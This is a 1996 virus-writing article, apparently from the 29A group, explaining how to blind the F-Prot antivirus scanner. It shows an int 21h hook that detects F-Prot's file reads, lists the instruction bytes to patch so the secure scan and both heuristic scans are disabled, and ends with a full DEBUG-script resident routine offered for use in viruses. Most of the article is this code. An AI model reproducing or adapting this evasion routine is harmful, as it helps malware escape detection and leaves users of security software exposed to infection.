The reason  of writing  this article  is that i  realised that i've never
seen how to fool F-Prot in any  virus magazine... and  as i like to be o-
riginal, i decided to have a look  at it and try to do some modifications
in its code so it won't detect any virus... and i got it :)

And believe me that it's quite easy  to do... just keep reading the arti-
cle and try it by yourself following the next steps :)

Ok, F-Prot, unlike TbScan, uses int 21h for  opening, reading, and so on,
that is, for scanning files for any infection. When it reads from a file,
it does it holding the next values:

                                        AX=3f00h
                                        BX=0008h
                                        CX=0800h

Since we know this, it's very easy for us to intercept this kind of calls
to the int 21h with something like this:


new_int_21h:    cmp     ax,3f00h
                jne     jump_back

                cmp     bx,8
                jne     jump_back

                cmp     cx,800h
                je      fprot_read

jump_back:      db      0eah
old_int_21h     dw      ?,?


Once we know  that it's a F-Prot read, we can start doing our work... the
unique things we must do for it to don't detect absolutely anything is to
bypass the secure  scan and the two  types of heuristic scanning it uses.
Let's see the way in which we can do this thingy :)


                    ²²²²²²²²²²²²²²²²²²²²²²²²²²²
                    ²²     Secure method     ²²
                    ²²²²²²²²²²²²²²²²²²²²²²²²²²²


    803FD0        CMP     BYTE PTR [BX],D0
   >7519          JNZ     0123                <<< change this for JZ
    C41E502D      LES     BX,[2D50]
    26            ES:
    807F01CF      CMP     BYTE PTR [BX+01],CF
   >750E          JNZ     0123                <<< change this for JZ
    9AF500C136    CALL    36C1:00F5

    C706D64B0000  MOV     WORD PTR [4BD6],0000
    C706D44B0000  MOV     WORD PTR [4BD4],0000
    C41E502D      LES     BX,[2D50]
    26            ES:
   >803FFF        CMP     BYTE PTR [BX],4D    <<< change 4dh for 0ffh
    750B          JNZ     0121
    C41E502D      LES     BX,[2D50]
    26            ES:
    807F015A      CMP     BYTE PTR [BX+01],5A
    742A          JZ      014B


                    ²²²²²²²²²²²²²²²²²²²²²²²²²²²
                    ²²    First heuristic    ²²
                    ²²²²²²²²²²²²²²²²²²²²²²²²²²²


    9A2605AF1F    CALL    1FAF:0526
    0BC0          OR      AX,AX
   >740E          JZ      0117                <<< change this for jnz
    FF36E43D      PUSH    [3DE4]
    9A0000794A    CALL    4A79:0000


                   ²²²²²²²²²²²²²²²²²²²²²²²²²²²²
                   ²²    Second heuristic    ²²
                   ²²²²²²²²²²²²²²²²²²²²²²²²²²²²


    833EBF5500    CMP     WORD PTR [55BF],+00
   >7402          JZ      0109                <<< change this for jnz
    EB32          JMP     013B
    81FE8713      CMP     SI,1387
    7524          JNZ     0133


And that's all, folks... since this  five bytes have been changed, F-Prot
will *NOT* detect  any virus. As  a last thing i'll include  the complete
routine, though it's a trivial thing, so you can implement it in your re-
tro code; as i always use  debug for coding, i think you'll have to adapt
it, but anyway... :)

And don't ask  me why do i always  use debug for  coding instead the tra-
ditional .ASM text file and TASM or A86... :)


>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
na-fp.com
a100
jmp 0174

a110
cmp ah,3f
jz 0117
jmp 0125
cmp bx,+08
jz 011e
jmp 0125
cmp cx,0800
jz 0130
nop
cs:
jmp far [0103]

a130
push ax
push bx
push cx
push dx
push ds
mov ax,ss
sub ax,3295
mov ds,ax
mov bx,01a2
mov cl,f0
mov [bx],cl
mov cl,74
mov bx,042b
mov [bx],cl
mov bx,0420
mov [bx],cl
mov ax,ss
sub ax,3521
mov ds,ax
mov bx,03e8
mov cl,75
mov [bx],cl
mov ax,ss
sub ax,17c7
mov ds,ax
mov bx,0347
mov [bx],cl
pop ds
pop dx
pop cx
pop bx
pop ax
cs:
jmp far [0103]

a174
mov dx,197
mov ah,9
int 21
mov ax,3521
int 21
mov [0103],bx
mov [0105],es
mov dx,0110
mov ax,2521
int 21
mov dx,0174
int 27

a197
db "F-Prot won't detect any virus","$"
db " (c) Blade Runner/29A, 1996  ","$"

rcx
be
w
q
>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8


 Blade Runner/29A
 Los Angeles, 2019